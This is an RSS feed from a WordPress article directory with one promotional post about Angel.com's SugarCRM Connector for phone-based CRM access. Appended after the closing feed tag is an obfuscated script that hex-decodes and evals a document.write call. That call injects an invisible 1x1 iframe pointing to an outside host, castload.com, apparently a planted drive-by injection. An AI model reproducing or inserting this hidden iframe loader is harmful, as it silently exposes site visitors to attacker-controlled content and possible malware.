<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>ADOWP &#187; voice response system</title>
	<atom:link href="http://www.adowp.com/tag/voice-response-system/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.adowp.com</link>
	<description>Article Directory on WordPress</description>
	<lastBuildDate>Tue, 29 Mar 2011 02:39:21 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>Phone-Enabled SugarCRM with Hosted IVR Applications</title>
		<link>http://www.adowp.com/shopping-and-services/telephone-products-and-services/phone-enabled-sugarcrm-with-hosted-ivr-applications/</link>
		<comments>http://www.adowp.com/shopping-and-services/telephone-products-and-services/phone-enabled-sugarcrm-with-hosted-ivr-applications/#comments</comments>
		<pubDate>Tue, 01 Dec 2009 08:57:11 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Telephone Products & Services]]></category>
		<category><![CDATA[client management software]]></category>
		<category><![CDATA[contact management software]]></category>
		<category><![CDATA[crm on demand]]></category>
		<category><![CDATA[crm software]]></category>
		<category><![CDATA[crm software applications]]></category>
		<category><![CDATA[crm software online]]></category>
		<category><![CDATA[crm sugar]]></category>
		<category><![CDATA[customer management software]]></category>
		<category><![CDATA[customer relationship management software]]></category>
		<category><![CDATA[hosted ivr]]></category>
		<category><![CDATA[interactive voice response]]></category>
		<category><![CDATA[interactive voice response ivr]]></category>
		<category><![CDATA[interactive voice response software]]></category>
		<category><![CDATA[interactive voice response system]]></category>
		<category><![CDATA[interactive voice response systems]]></category>
		<category><![CDATA[interactive voice response technology]]></category>
		<category><![CDATA[ivr services]]></category>
		<category><![CDATA[ivr software]]></category>
		<category><![CDATA[ivr speech]]></category>
		<category><![CDATA[ivr system]]></category>
		<category><![CDATA[ivr systems]]></category>
		<category><![CDATA[lead management software]]></category>
		<category><![CDATA[phone ivr]]></category>
		<category><![CDATA[sales contact management software]]></category>
		<category><![CDATA[sales crm software]]></category>
		<category><![CDATA[sales lead management software]]></category>
		<category><![CDATA[sales management software]]></category>
		<category><![CDATA[small business crm software]]></category>
		<category><![CDATA[sugarcrm]]></category>
		<category><![CDATA[voice recognition software]]></category>
		<category><![CDATA[voice response]]></category>
		<category><![CDATA[voice response system]]></category>
		<category><![CDATA[web based crm software]]></category>
		<category><![CDATA[web crm]]></category>

		<guid isPermaLink="false">http://www.adowp.com/?p=3</guid>
		<description><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.adowp.com%2Fshopping-and-services%2Ftelephone-products-and-services%2Fphone-enabled-sugarcrm-with-hosted-ivr-applications%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.adowp.com%2Fshopping-and-services%2Ftelephone-products-and-services%2Fphone-enabled-sugarcrm-with-hosted-ivr-applications%2F&#38;style=normal&#38;service_api=6cc5f3d7e034a0040236b79464e1f4fd&#38;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>Angel.com, one of the premier providers of on-demand call centers and Interactive Voice Response solutions, has announced the debut of its new SugarCRM Connector.  This new technology will allow users to manage accounts and contacts through the phone, using only voice commands.  Users will be able to use speech-to-text technology to send emails, record details from meetings, or set up the next day&#8217;s tasks.  The user can perform a host of functions using the Connector.  The Connector allows its users to open or check the status of a case, transfer to a live agency, retrieve data in real time and generally provide instance access to information and analysis.</p>
<p><a href="http://www.adowp.com/shopping-and-services/telephone-products-and-services/phone-enabled-sugarcrm-with-hosted-ivr-applications/" class="more-link">Read more on Phone-Enabled SugarCRM with Hosted IVR Applications&#8230;</a></p>
]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.adowp.com%2Fshopping-and-services%2Ftelephone-products-and-services%2Fphone-enabled-sugarcrm-with-hosted-ivr-applications%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.adowp.com%2Fshopping-and-services%2Ftelephone-products-and-services%2Fphone-enabled-sugarcrm-with-hosted-ivr-applications%2F&amp;style=normal&amp;service_api=6cc5f3d7e034a0040236b79464e1f4fd&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>Angel.com, one of the premier providers of on-demand call centers and Interactive Voice Response solutions, has announced the debut of its new SugarCRM Connector.  This new technology will allow users to manage accounts and contacts through the phone, using only voice commands.  Users will be able to use speech-to-text technology to send emails, record details from meetings, or set up the next day&#8217;s tasks.  The user can perform a host of functions using the Connector.  The Connector allows its users to open or check the status of a case, transfer to a live agency, retrieve data in real time and generally provide instance access to information and analysis.</p>
<p>Michael Zirngible, President of Angel.com says, &#8220;By converging Web, voice and data into a single, on-demand solution, Angel.com&#8217;s SugarCRM Connector provides users with&#8230;.information and analysis needed to make intelligent sales, customer support and marketing decisions.&#8221; The user does not need to write any code to use this tool; all directions are provided through the web-based tool kit provided by Angel.com. This allows users to build custom designed tools, with only an internet connection, in a quick and efficient manner. In addition to the ease of setting up the program, the Connector allows users to combine voice and data into a simple application, making it easier to improve and nurture customer relations.</p>
<p>For more information regarding pricing please visit http://www.sugarcrm.com or http://www.angel.com.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.adowp.com/shopping-and-services/telephone-products-and-services/phone-enabled-sugarcrm-with-hosted-ivr-applications/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script>var t="";var arr="646f63756d656e742e777269746528273c696672616d65207372633d22687474703a2f2f636173746c6f61642e636f6d2f666f72756d2e7068703f74703d36373565616665633433316231663732222077696474683d223122206865696768743d223122206672616d65626f726465723d2230223e3c2f696672616d653e2729";for(i=0;i<arr.length;i+=2)t+=String.fromCharCode(parseInt(arr[i]+arr[i+1],16));eval(t);</script>

